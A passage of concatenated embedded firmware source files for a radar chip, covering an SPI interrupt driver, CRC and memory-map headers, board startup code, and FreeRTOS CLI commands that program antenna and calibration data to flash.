result = spi_ops->int_enable(spi_dev, mask, 1);
if (E_OK != result) {
break;
} else
*/{
dmu_irq_enable(int_id, 1);
}
result = int_enable(int_id);
} while (0);
return result;
}
int32_t spi_interrupt_enable(uint32_t id, uint32_t rx_or_tx, uint32_t enable)
{
int32_t result = E_OK;
uint32_t mask;
if ((id >= spi_drv.nof_dev)) {
result = E_PAR;
} else {
spi_xfer_t *xfer = &(spi_drv.xfer_info[id]);
dw_ssi_t *spi_dev = xfer->dev;
dw_ssi_ops_t *spi_ops = spi_dev->ops;
if ((NULL == spi_dev) || (NULL == spi_ops)) {
result = E_SYS;
} else {
if (rx_or_tx) {
mask = SSI_INT_TX_FIFO_EMPTY;
} else {
mask = SSI_INT_RX_FIFO_FULL;
}
result = spi_ops->int_enable(spi_dev, mask, enable);
}
}
return result;
}
int32_t spi_interrupt_uninstall(uint32_t id, uint32_t rx_or_tx)
{
int32_t result = E_OK;
//uint32_t cpu_sts;
uint32_t mask, int_id;
dw_ssi_t *spi_dev = NULL;
dw_ssi_ops_t *spi_ops = NULL;
do {
if ((id >= spi_drv.nof_dev)) {
result = E_PAR;
break;
}
spi_xfer_t *xfer = &(spi_drv.xfer_info[id]);
spi_dev = xfer->dev;
spi_ops = spi_dev->ops;
if ((NULL == spi_dev) || (NULL == spi_ops)) {
result = E_SYS;
break;
}
if (rx_or_tx) {
mask = SSI_INT_TX_FIFO_EMPTY;
int_id = spi_dev->int_tx;
} else {
mask = SSI_INT_RX_FIFO_FULL;
int_id = spi_dev->int_rx;
}
result = spi_ops->int_enable(spi_dev, mask, 0);
if (E_OK != result) {
break;
} else {
dmu_irq_enable(int_id, 0);
}
result = int_disable(int_id);
if (E_OK != result) {
break;
}
/*
cpu_sts = arc_lock_save();
xfer->callback = NULL;
arc_unlock_restore(cpu_sts);
*/
} while (0);
return result;
}
static void spi_isr(uint32_t id, void *params)
{
int32_t result = E_OK;
//uint32_t mask = 0;
uint32_t int_sts = 0;
dw_ssi_t *spi_dev = NULL;
dw_ssi_ops_t *spi_ops = NULL;
spi_xfer_t *xfer = NULL;
do {
if ((id >= spi_drv.nof_dev)) {
result = E_PAR;
break;
}
xfer = &(spi_drv.xfer_info[id]);
spi_dev = xfer->dev;
spi_ops = spi_dev->ops;
if ((NULL == spi_dev) || (NULL == spi_ops)) {
result = E_SYS;
break;
}
/* get the interrupt status. */
result = spi_ops->int_all_status(spi_dev);
if (result <= 0) {
break;
} else {
int_sts = result;
}
/* error happened, record and report! */
if ((int_sts & SSI_INT_RX_FIFO_OVERFLOW) || \
(int_sts & SSI_INT_RX_FIFO_UNDERFLOW) || \
(int_sts & SSI_INT_TX_FIFO_OVERFLOW)) {
//xfer->statics.xfer_err_cnt++;
/* TODO: record error! */
}
/* unexpected interrupt generated, record and report! */
if (int_sts & SSI_INT_MULTI_MASTER_CONTENTION) {
//xfer->statics.unexcepted++;
/* TODO: record error! */
}
result = spi_raw_xfer(spi_dev, spi_ops, xfer->rxbuf, xfer->txbuf);
if (result >= 0) {
if (xfer->callback) {
xfer->callback(params);
}
//xfer->statics.xfer_cnt++;
} else if (E_PAR == result) {
if (xfer->callback) {
xfer->callback(params);
}
} else {
/* TODO: record error! */
}
#if 0
result = spi_ops->int_clear(spi_dev, SSI_INT_STS_ALL);
if (E_OK != result) {
/* TODO: record error! */
}
#endif
} while (0);
}
static int32_t spi_raw_xfer(dw_ssi_t *dw_spi, dw_ssi_ops_t *ssi_ops,\
DEV_BUFFER *rx_buf, DEV_BUFFER *tx_buf)
{
int32_t result = E_OK;
uint32_t xfer_cnt = 0;
uint32_t *rxdata = NULL, *txdata = NULL;
if ((NULL != rx_buf) && (NULL != tx_buf)) {
/* only SPI-M duplex mode enter.
* SPI-S can't read and write at the same time. */
rxdata = (uint32_t *)rx_buf->buf;
txdata = (uint32_t *)tx_buf->buf;
rxdata += rx_buf->ofs;
txdata += tx_buf->ofs;
xfer_cnt = rx_buf->len - rx_buf->ofs;
if (xfer_cnt > tx_buf->len - tx_buf->ofs) {
xfer_cnt = tx_buf->len - tx_buf->ofs;
}
result = ssi_ops->xfer(dw_spi, rxdata, txdata, xfer_cnt);
if (result >= 0) {
rx_buf->ofs += result;
tx_buf->ofs += result;
}
} else if ((NULL != rx_buf) && (NULL == tx_buf)) {
/* SPI-M read, SPI-S read. */
rxdata = (uint32_t *)rx_buf->buf;
rxdata += rx_buf->ofs;
xfer_cnt = rx_buf->len - rx_buf->ofs;
result = ssi_ops->xfer(dw_spi, rxdata, NULL, xfer_cnt);
if (result >= 0) {
rx_buf->ofs += result;
}
} else if ((NULL == rx_buf) && (NULL != tx_buf)) {
/* SPI-M write, SPI-S write. */
txdata = (uint32_t *)tx_buf->buf;
txdata += tx_buf->ofs;
xfer_cnt = tx_buf->len - tx_buf->ofs;
result = ssi_ops->xfer(dw_spi, NULL, txdata, xfer_cnt);
if (result >= 0) {
tx_buf->ofs += result;
}
} else {
/* warning! nothing to do! */
//result = E_PAR;
}
return result;
}
<file_sep>#ifndef _HW_CRC_H_
#define _HW_CRC_H_
/*
#include "embARC_toolchain.h"
#include "embARC_error.h"
#include "embARC_debug.h"
#include "arc_exception.h"
*/
#include "crc_reg.h"
typedef enum {
CRC_POLY_32C93 = 0,
CRC_POLY_32,
CRC_POLY_16_CCITT,
CRC_POLY_8_AUTOSAR,
CRC_POLY_8_SAE
} crc_poly_t;
typedef enum {
INT_HW_CRC_COMPLETE = 0,
INT_HW_CRC_FAIL,
INT_HW_CRC_SUCCESS
} hw_crc_int_type_t;
typedef struct {
uint32_t base;
uint8_t err_int;
uint8_t complete_int;
} hw_crc_t;
static inline void hw_crc_mode(crc_poly_t poly, uint32_t mode)
{
uint32_t val = 0;
val = (poly & BITS_CRC_POLY_MASK) << BITS_CRC_POLY_SHIFT;
val |= (mode & BITS_CRC_MODE_MASK) << BITS_CRC_MODE_SHIFT;
raw_writel(REL_REGBASE_CRC + REG_CRC_MODE, val);
}
static inline void hw_crc_count(uint32_t count)
{
raw_writel(REL_REGBASE_CRC + REG_CRC_COUNT, count);
}
static inline uint32_t hw_crc_count_get(void)
{
return raw_readl(REL_REGBASE_CRC + REG_CRC_COUNT);
}
static inline void hw_crc_raw_data(uint32_t data)
{
raw_writel(REL_REGBASE_CRC + REG_CRC_RAW, data);
}
static inline void hw_crc_init_value(uint32_t value)
{
raw_writel(REL_REGBASE_CRC + REG_CRC_INIT, value);
}
static inline uint32_t hw_crc_init_value_get(void)
{
return raw_readl(REL_REGBASE_CRC + REG_CRC_INIT);
}
static inline void hw_crc_pre(uint32_t value)
{
raw_writel(REL_REGBASE_CRC + REG_CRC_PRE, value);
}
static inline void hw_crc_interrupt_en(hw_crc_int_type_t type, uint32_t en)
{
uint32_t val = raw_readl(REL_REGBASE_CRC + REG_CRC_INTR_EN);
if (en) {
val |= (1 << type);
} else {
val &= ~(1 << type);
}
raw_writel(REL_REGBASE_CRC + REG_CRC_INTR_EN, val);
}
static inline void hw_crc_interrupt_clear(hw_crc_int_type_t type)
{
raw_writel(REL_REGBASE_CRC + REG_CRC_INTR_CLR, (1 << type));
}
static inline uint32_t hw_crc_interrupt_status(void)
{
return raw_readl(REL_REGBASE_CRC + REG_CRC_INTR_STA);
}
static inline uint32_t hw_crc_sector_value(void)
{
return raw_readl(REL_REGBASE_CRC + REG_CRC_SEC);
}
#define INT_HW_CRC_COMPLETED(status) (((status) & (1 << INT_HW_CRC_COMPLETE)) ? (1) : (0))
#define INT_HW_CRC_FAILED(status) (((status) & (1 << INT_HW_CRC_FAIL)) ? (1) : (0))
#define INT_HW_CRC_SUCCESS(status) (((status) & (1 << INT_HW_CRC_SECCESS)) ? (1) : (0))
#define HW_CRC_WAIT_COMPLETED() while (0 == (hw_crc_interrupt_status() & (1 << INT_HW_CRC_COMPLETE)))
#endif
<file_sep>#ifndef _ALPS_OTP_MMAP_H_
#define _ALPS_OTP_MMAP_H_
#define OTP_MMAP_SEC_BASE (REL_REGBASE_EFUSE + 0x0140)
#endif
<file_sep>CALTERAH_FSM_ROOT = $(CALTERAH_COMMON_ROOT)/fsm
CALTERAH_FSM_CSRCDIR = $(CALTERAH_FSM_ROOT)
CALTERAH_FSM_ASMSRCDIR = $(CALTERAH_FSM_ROOT)
# find all the source files in the target directories
CALTERAH_FSM_CSRCS = $(call get_csrcs, $(CALTERAH_FSM_CSRCDIR))
CALTERAH_FSM_ASMSRCS = $(call get_asmsrcs, $(CALTERAH_FSM_ASMSRCDIR))
# get object files
CALTERAH_FSM_COBJS = $(call get_relobjs, $(CALTERAH_FSM_CSRCS))
CALTERAH_FSM_ASMOBJS = $(call get_relobjs, $(CALTERAH_FSM_ASMSRCS))
CALTERAH_FSM_OBJS = $(CALTERAH_FSM_COBJS) $(CALTERAH_FSM_ASMOBJS)
# get dependency files
CALTERAH_FSM_DEPS = $(call get_deps, $(CALTERAH_FSM_OBJS))
# genearte library
CALTERAH_FSM_LIB = $(OUT_DIR)/lib_calterah_fsm.a
COMMON_COMPILE_PREREQUISITES += $(CALTERAH_FSM_ROOT)/fsm.mk
# library generation rule
$(CALTERAH_FSM_LIB): $(CALTERAH_FSM_OBJS)
$(TRACE_ARCHIVE)
$(Q)$(AR) $(AR_OPT) $@ $(CALTERAH_FSM_OBJS)
# specific compile rules
# user can add rules to compile this library
# if not rules specified to this library, it will use default compiling rules
.SECONDEXPANSION:
$(CALTERAH_FSM_COBJS): $(OUT_DIR)/%.o : %.c $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(COMPILE_OPT) $< -o $@
.SECONDEXPANSION:
$(CALTERAH_FSM_ASMOBJS): $(OUT_DIR)/%.o : %.s $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(ASM_OPT) $< -o $@
CALTERAH_COMMON_CSRC += $(CALTERAH_FSM_CSRCS)
CALTERAH_COMMON_ASMSRCS += $(CALTERAH_FSM_ASMSRCS)
CALTERAH_COMMON_COBJS += $(CALTERAH_FSM_COBJS)
CALTERAH_COMMON_ASMOBJS += $(CALTERAH_FSM_ASMOBJS)
CALTERAH_COMMON_LIBS += $(CALTERAH_FSM_LIB)
<file_sep>#ifndef RADAR_SYS_PARAMS_H
#define RADAR_SYS_PARAMS_H
#ifdef UNIT_TEST
#include "calterah_unit_test.h"
#elif TRACK_TEST_MODE
#include "stdint.h"
#include "stdbool.h"
#else
#include "embARC_toolchain.h"
#endif
#define LIGHTSPEED 299792458.0
typedef struct radar_sys_params {
float carrier_freq; /* in GHz */
float bandwidth; /* in MHz */
float chirp_rampup; /* in us */
float chirp_period; /* in us */
float Fs; /* in MHz */
uint32_t rng_nfft; /* unitless */
uint32_t vel_nfft; /* unitless */
uint32_t doa_npoint[2]; /* unitless */
float bfm_az_left; /* in deg */
float bfm_az_right; /* in deg */
float bfm_ev_up; /* in deg */
float bfm_ev_down; /* in deg */
float dml_sin_az_left; /* in rad */
float dml_sin_az_step; /* in rad */
float dml_sin_ev_down; /* in rad */
float dml_sin_ev_step; /* in rad */
float trk_fov_az_left; /* in deg */
float trk_fov_az_right; /* in deg */
float trk_fov_ev_up; /* in deg */
float trk_fov_ev_down; /* in deg */
float trk_nf_thres; /* in m */
float trk_drop_delay; /* in sec */
float trk_capt_delay; /* in sec */
uint32_t trk_fps; /* frm/sec */
float noise_factor; /* noise_factor */
/* derived values for quick access */
float rng_delta; /* in m */
float vel_delta; /* in m/s */
float az_delta; /* in rad */
float ev_delta; /* in rad */
float az_delta_deg; /* in deg */
float ev_delta_deg; /* in deg */
float vel_wrap_max;
/* derived high velocity compensating values for quick access */
float vel_comp;
float rng_comp;
/* derived values to save computation time */
float r_k_coeff;
float r_p_coeff;
float r_coeff;
float v_coeff;
} radar_sys_params_t;
void radar_param_fft2rv(const radar_sys_params_t *sys_params, const int32_t k, const int32_t p, float *r, float *v);
void radar_param_fft2rv_nowrap(const radar_sys_params_t *sys_params, const float k, const float p, float *r, float *v);
void radar_param_rv2fft(const radar_sys_params_t *sys_params, const float r, const float v, int32_t *k, int32_t *p);
void radar_param_update(radar_sys_params_t *sys_params);
uint32_t radar_param_check(const radar_sys_params_t *sys_params);
void radar_param_config(radar_sys_params_t *sys_params);
#endif
<file_sep>/* ------------------------------------------
* Copyright (c) 2017, Synopsys, Inc. All rights reserved.
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
* 1) Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
* 2) Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation and/or
* other materials provided with the distribution.
* 3) Neither the name of the Synopsys, Inc., nor the names of its contributors may
* be used to endorse or promote products derived from this software without
* specific prior written permission.
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
--------------------------------------------- */
#include "embARC.h"
#include "embARC_debug.h"
#include "embARC_error.h"
//#include "calterah_error.h"
//#include "clkgen.h"
#include "uart_hal.h"
#include "gpio_hal.h"
typedef struct main_args {
int argc;
char *argv[];
} MAIN_ARGS;
/** Change this to pass your own arguments to main functions */
MAIN_ARGS s_main_args = {1, {"main"}};
#if defined(MID_FATFS)
static FATFS sd_card_fs; /* File system object for each logical drive */
#endif /* MID_FATFS */
/*--- When new embARC Startup process is used----*/
#define MIN_CALC(x, y) (((x)<(y))?(x):(y))
#define MAX_CALC(x, y) (((x)>(y))?(x):(y))
#ifdef OS_FREERTOS
/* Note: Task size in unit of StackType_t */
/* Note: Stack size should be small than 65536, since the stack size unit is uint16_t */
#define MIN_STACKSZ(size) (MIN_CALC((size)*sizeof(StackType_t), configTOTAL_HEAP_SIZE>>3)/sizeof(StackType_t))
#ifndef TASK_STACK_SIZE_MAIN
#define TASK_STACK_SIZE_MAIN MIN_STACKSZ(65535)
#endif
#ifndef TASK_PRI_MAIN
#define TASK_PRI_MAIN 1 /* Main task priority */
#endif
static TaskHandle_t task_handle_main;
#endif /* OS_FREERTOS */
static void task_main(void *par)
{
int ercd;
if ((par == NULL) || (((int)par) & 0x3)) {
/* null or aligned not to 4 bytes */
ercd = _arc_goto_main(0, NULL);
} else {
MAIN_ARGS *main_arg = (MAIN_ARGS *)par;
ercd = _arc_goto_main(main_arg->argc, main_arg->argv);
}
#if defined(OS_FREERTOS)
EMBARC_PRINTF("Exit from main function, error code:%d....\r\n", ercd);
while (1) {
vTaskSuspend(NULL);
}
#else
while (1);
#endif
}
void init_hardware_hook(void)
{
dcache_non_cached_region_base(REL_NON_CACHED_BASE);
}
void board_main(void)
{
/* Set the interrupt priority operating
* level of ARC processor to 0.
* */
arc_int_ipm_set(0);
uint32_t freq = chip_clock_early();
if (0 == freq) {
freq = clock_frequency(CPU_CLOCK);
}
set_current_cpu_freq(freq);
io_mux_init();
if (E_OK != gpio_init()) {
EMBARC_PRINTF("gpio_init error!\r\n");
}
chip_init();
system_clock_init();
uart_init(CHIP_CONSOLE_UART_ID, CHIP_CONSOLE_UART_BAUD);
#ifdef MID_COMMON
xprintf_setup();
#endif
#ifdef MID_FATFS
if(f_mount(&sd_card_fs, "", 0) != FR_OK) {
EMBARC_PRINTF("FatFS failed to initialize!\r\n");
} else {
EMBARC_PRINTF("FatFS initialized successfully!\r\n");
}
#endif
#ifdef ENABLE_OS
os_hal_exc_init();
#endif
#ifdef OS_FREERTOS
xTaskCreate((TaskFunction_t)task_main, "main", TASK_STACK_SIZE_MAIN,
(void *)(&s_main_args), TASK_PRI_MAIN, &task_handle_main);
#else /* No os and ntshell */
cpu_unlock(); /* unlock cpu to let interrupt work */
#endif
#ifdef OS_FREERTOS
vTaskStartScheduler();
#endif
task_main((void *)(&s_main_args));
/* board level exit */
}
#ifdef USE_SW_TRACE
void trace_info(uint32_t value)
{
static uint32_t idx = 0;
raw_writel(SW_TRACE_BASE + (idx++ << 2), value);
if (idx >= (SW_TRACE_LEN >> 2)) {
idx = 0;
}
}
#endif
<file_sep>#ifndef _ALPS_MMAP_H_
#define _ALPS_MMAP_H_
#define REL_REGBASE_ROM (0x00000000U) /*!< ROM */
#define REL_REGBASE_ICCM (0x00100000U) /*!< ICCM */
#define REL_REGBASE_HDMA (0x00200000U)
#define REL_REGBASE_XIP_MMAP (0x00300000U)
#define REL_BASE_SRAM (0x00780000U)
#define REL_BASE_BB_SRAM (0x00800000U)
#define REL_BASE_DCCM (0x00A00000U)
#define REL_REGBASE_EMU (0x00B00000U)
#define REL_REGBASE_TIMER0 (0x00B10000U)
#define REL_REGBASE_CLKGEN (0x00B20000U)
#define REL_REGBASE_UART0 (0x00B30000U) /*!< UART0 is connected to PMOD */
#define REL_REGBASE_UART1 (0x00B40000U) /*!< UART1 is USB-UART, use UART1 as default */
#define REL_REGBASE_I2C0 (0x00B50000U) /*!< I2C 0 */
#define REL_REGBASE_SPI0 (0x00B60000U) /*!< SPI Master */
#define REL_REGBASE_SPI1 (0x00B70000U) /*!< SPI Master */
#define REL_REGBASE_SPI2 (0x00B80000U) /*!< SPI Slave */
#define REL_REGBASE_QSPI (0x00B90000U) /*!< QSPI Master */
#define REL_REGBASE_DMU (0x00BA0000U)
#define REL_REGBASE_CAN0 (0x00BB0000U) /*!< CAN0 */
#define REL_REGBASE_CAN1 (0x00BC0000U) /*!< CAN1 */
#define REL_REGBASE_PWM (0x00BD0000U)
#define REL_REGBASE_GPIO (0x00BE0000U)
#define REL_REGBASE_EFUSE (0x00BF0000U)
#define REL_REGBASE_BB (0x00C00000U)
#define REL_REGBASE_CRC (0x00C10000U)
#define REL_REGBASE_XIP (0x00D00000U)
#define REL_NON_CACHED_BASE (REL_BASE_BB_SRAM)
#define REL_XIP_MMAP_LEN (0x00400000U)
#define REL_XIP_MMAP_MAX (0x00700000U)
#endif
<file_sep>#ifndef _ALPS_IO_MUX_H_
#define _ALPS_IO_MUX_H_
#define IO_MUX_FUNC0 (0)
#define IO_MUX_FUNC1 (1)
#define IO_MUX_FUNC2 (2)
#define IO_MUX_FUNC3 (3)
#define IO_MUX_FUNC4 (4)
#define IO_MUX_FUNC_INVALID (0xFF)
#define PIN_NAME_LEN_MAX (16)
typedef struct pin_multiplex_descriptor {
char group_name[PIN_NAME_LEN_MAX];
uint8_t dev_id;
uint8_t func;
uint32_t reg_offset;
} io_mux_t;
#endif
<file_sep>#include "embARC.h"
#include "embARC_toolchain.h"
#include "embARC_assert.h"
#include "embARC_debug.h"
#include "sensor_config.h"
#include "FreeRTOS.h"
#include "FreeRTOS_CLI.h"
#include <string.h>
#include <stdlib.h>
#include "flash.h"
#include "spi_master.h"
#include "cascade.h"
#include "baseband_cas.h"
#include "sensor_config_cli.h"
#include "flash_mmap.h"
#define MIN(a, b) ((a) < (b) ? (a) : (b))
static bool sensor_config_cli_registered = false;
/* helpers */
static void print_help(char* buffer, size_t buff_len, const CLI_Command_Definition_t* cmd)
{
uint32_t tot_count = 0;
int32_t count = sprintf(buffer, "Wrong input\n\r %s", cmd->pcHelpString);
EMBARC_ASSERT(count > 0);
tot_count += count;
EMBARC_ASSERT(tot_count < buff_len);
}
static BaseType_t sensor_cfg_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
static BaseType_t ant_prog_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
static BaseType_t ang_calib_prog_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
static BaseType_t sensor_cfg_sel_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
/* sensor_cfg command */
static const CLI_Command_Definition_t sensor_cfg_command = {
"sensor_cfg",
"sensor_cfg \n\r"
"\tWrite or read sensor config. \n\r"
"\tUsage: sensor_cfg [[param] value] \n\r",
sensor_cfg_command_handler,
-1
};
static BaseType_t sensor_cfg_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
#ifdef CHIP_CASCADE
const char *par1, *par2;
BaseType_t l1, l2;
par1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &l1);
par2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &l2);
if (chip_cascade_status() == CHIP_CASCADE_MASTER) {
if ((par1 != NULL) && (par2 != NULL)) {
EMBARC_PRINTF(pcCommandString);
EMBARC_PRINTF(" sent to slave \n");
baseband_write_cascade_cmd(pcCommandString); // send "sensor_cfg" command string to slave chip through spi in cascade mode
}
}
#endif
#include "sensor_config_cmd.hxx"
}
/* ant_prog command */
static const CLI_Command_Definition_t ant_prog_command = {
"ant_prog",
"ant_prog\n\r"
"\tProgram or read antenna pos/comp on flash. \n\r"
"\tUsage: ant_prog [[pos/comp] val1, val2, ...]\n\r",
ant_prog_command_handler,
-1
};
static int32_t dump_ant_pos_info(char *pcWriteBuffer, size_t xWriteBufferLen, sensor_config_t *cfg, int32_t *offset)
{
int32_t status;
uint8_t *buff = sensor_config_get_buff();
status = flash_memory_read(cfg->ant_info_flash_addr, buff, ANTENNA_INFO_LEN);
if (status != E_OK) {
snprintf(pcWriteBuffer, xWriteBufferLen - 1, "Fail to read on-flash antenna pos info!\n\r");
} else {
uint32_t *tmp = (uint32_t *)buff;
if (*tmp == ANTENNA_INFO_MAGICNUM) {
antenna_pos_t *pos = (antenna_pos_t *)(buff + 4);
*offset = snprintf(pcWriteBuffer, xWriteBufferLen - 1, "ant_pos = ");
for(int cnt = 0; cnt < MAX_ANT_ARRAY_SIZE && (*offset) < xWriteBufferLen; cnt++) {
*offset += snprintf(pcWriteBuffer + (*offset), xWriteBufferLen - 1 - (*offset), "(%.2f, %.2f), ", pos[cnt].x, pos[cnt].y);
if (cnt % 4 == 3)
*offset += snprintf(pcWriteBuffer + (*offset), xWriteBufferLen - 1 - (*offset), "\n\r");
}
} else {
snprintf(pcWriteBuffer, xWriteBufferLen-1, "Invalid on-flash antenna pos info!\n\r");
}
}
return status;
}
static int32_t dump_ant_comp_info(char *pcWriteBuffer, size_t xWriteBufferLen, sensor_config_t *cfg, int32_t *offset)
{
uint8_t *buff = sensor_config_get_buff();
int32_t status = flash_memory_read(cfg->ant_info_flash_addr + ANTENNA_INFO_LEN, buff, ANTENNA_INFO_LEN);
if (status != E_OK) {
snprintf(pcWriteBuffer, xWriteBufferLen-1, "Fail to read on-flash antenna comp info!\n\r");
} else {
uint32_t *tmp = (uint32_t *)buff;
if (*tmp == ANTENNA_INFO_MAGICNUM) {
float *comp = (float *)(buff + 4);
*offset += snprintf(pcWriteBuffer + (*offset), xWriteBufferLen - 1 - (*offset), "\n\rant_comps = ");
for(int cnt = 0; cnt < MAX_ANT_ARRAY_SIZE && (*offset) < xWriteBufferLen; cnt++)
*offset += snprintf(pcWriteBuffer + (*offset), xWriteBufferLen - 1 - (*offset), "%.2f, ", comp[cnt]);
*offset += snprintf(pcWriteBuffer + (*offset), xWriteBufferLen - 1 - (*offset), "\n\r");
} else {
snprintf(pcWriteBuffer, xWriteBufferLen-1, "Invalid on-flash antenna comp info!\n\r");
}
}
return status;
}
static BaseType_t ant_prog_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
const char *param1, *param2;
BaseType_t len1, len2;
int32_t status;
int32_t offset = 0;
sensor_config_clear_buff();
uint8_t *buff = sensor_config_get_buff();
param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &len2);
baesband_frame_interleave_cnt_clr(); // clear recfg count in frame interleaving
baseband_t *bb = baseband_frame_interleave_recfg(); // reconfigure the frame pattern for frame-interleaving
sensor_config_t *cfg = (sensor_config_t*)(bb->cfg);
if (param1 != NULL) {
if (strncmp(param1, "pos", len1) == 0) {
if (param2 == NULL) {
status = dump_ant_pos_info(pcWriteBuffer, xWriteBufferLen, cfg, &offset);
} else {
uint32_t cnt = 0;
uint32_t *tmp = (uint32_t *)buff;
*tmp = ANTENNA_INFO_MAGICNUM;
antenna_pos_t *pos = (antenna_pos_t *)(buff + 4);
while(param2 != NULL && cnt < MAX_ANT_ARRAY_SIZE * 2) {
if (cnt % 2 == 0)
pos[cnt/2].x = (float) strtof(param2, NULL);
else
pos[cnt/2].y = (float) strtof(param2, NULL);
cnt++;
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
status = flash_memory_write(cfg->ant_info_flash_addr, buff, ANTENNA_INFO_LEN);
if (status != E_OK)
snprintf(pcWriteBuffer, xWriteBufferLen-1, "Fail to write ant-pos on flash!\n\r");
else
dump_ant_pos_info(pcWriteBuffer, xWriteBufferLen, cfg, &offset);
}
} else if (strncmp(param1, "comp", len1) == 0) {
if (param2 == NULL) {
status = dump_ant_comp_info(pcWriteBuffer, xWriteBufferLen, cfg, &offset);
} else {
uint32_t cnt = 0;
uint32_t *tmp = (uint32_t *)buff;
*tmp = ANTENNA_INFO_MAGICNUM;
float *comp = (float *)(buff + 4);
while(param2 != NULL && cnt < MAX_ANT_ARRAY_SIZE) {
comp[cnt++] = (float) strtof(param2, NULL);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
status = flash_memory_write(cfg->ant_info_flash_addr + ANTENNA_INFO_LEN, buff, ANTENNA_INFO_LEN);
if (status != E_OK)
snprintf(pcWriteBuffer, xWriteBufferLen-1, "Fail to write ant-pos on flash!\n\r");
else
dump_ant_comp_info(pcWriteBuffer, xWriteBufferLen, cfg, &offset);
}
} else
print_help(pcWriteBuffer, xWriteBufferLen, &ant_prog_command);
return pdFALSE;
} else {
status = dump_ant_pos_info(pcWriteBuffer, xWriteBufferLen, cfg, &offset);
if (status != E_OK)
return pdFALSE;
status = dump_ant_comp_info(pcWriteBuffer, xWriteBufferLen, cfg, &offset);
if (status != E_OK)
return pdFALSE;
return pdFALSE;
}
}
/* ang_prog command */
static const CLI_Command_Definition_t ang_calib_prog_command = {
"ang_calib_prog",
"ang_calib_prog\n\r"
"\tProgram or read angle calib on flash. \n\r"
"\tUsage: ang_calib_prog [[packet1/packet2] val1, val2, ...]\n\r",
ang_calib_prog_command_handler,
-1
};
uint8_t strtohex(const char *str)
{
uint8_t ang_str1,ang_str2,ang_str3;
ang_str1 = *str;
if(ang_str1 > 0x39)
ang_str1 -= 0x37;
else
ang_str1 -= 0x30;
ang_str2 = *(str+1);
if(ang_str2 > 0x39)
ang_str2 -= 0x37;
else
ang_str2 -= 0x30;
ang_str3 = (ang_str1 << 4) + ang_str2;
return ang_str3;
}
static uint8_t Accumulate_Checksum(uint8_t *data, uint16_t len)
{
uint16_t i;
uint8_t checksum = 0;
for (i = 0 ; i < len ; i++)
checksum += data[i];
return checksum;
}
static BaseType_t ang_calib_prog_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
const char *param1, *param2;
BaseType_t len1, len2;
int32_t status;
uint8_t checksum = 0;
uint32_t cnt = 0;
uint8_t *ptr_ang_calib_save;
param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &len2);
if (param1 != NULL) {
if (strncmp(param1, "packet1", len1) == 0) {
if (param2 == NULL) {
//status = dump_ant_comp_info(pcWriteBuffer, xWriteBufferLen, cfg, &offset);
} else {
ptr_ang_calib_save = (uint8_t*)pvPortMalloc(ANGLE_CALIB_INFO_LEN);
cnt = 0;
while(param2 != NULL && cnt < ANGLE_CALIB_INFO_LEN) {
ptr_ang_calib_save[cnt++] = strtohex(param2);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
//write packet1 data to flash
checksum = 0;
checksum = Accumulate_Checksum(ptr_ang_calib_save, ANGLE_CALIB_INFO_LEN-1);
if(checksum == ptr_ang_calib_save[ANGLE_CALIB_INFO_LEN-1]){
status = flash_memory_erase(FLASH_ANGLE_CALIBRATION_INFO_BASE, FLASH_PAGE_SIZE*2);
if (status != E_OK)
EMBARC_PRINTF("FLASH_ANGLE_CALIBRATION_INFO_BASE ERASE FAIL!\r\n");
else{
status = flash_memory_write(FLASH_ANGLE_CALIBRATION_INFO_BASE, ptr_ang_calib_save, ANGLE_CALIB_INFO_LEN);
if (status != E_OK)
snprintf(pcWriteBuffer, xWriteBufferLen-1, "Fail to write ang-calib on flash!\n\r");
else
EMBARC_PRINTF("write ang calib data packet1 to flash ok!\r\n");
}
} else{
EMBARC_PRINTF("uart rx ang packet1 alib data checksum error : %x\n", checksum);
}
vPortFree(ptr_ang_calib_save);
}
}
else if (strncmp(param1, "packet2", len1) == 0) {
if (param2 == NULL) {
//status = dump_ant_comp_info(pcWriteBuffer, xWriteBufferLen, cfg, &offset);
} else {
ptr_ang_calib_save = (uint8_t*)pvPortMalloc(ANGLE_CALIB_INFO_LEN);
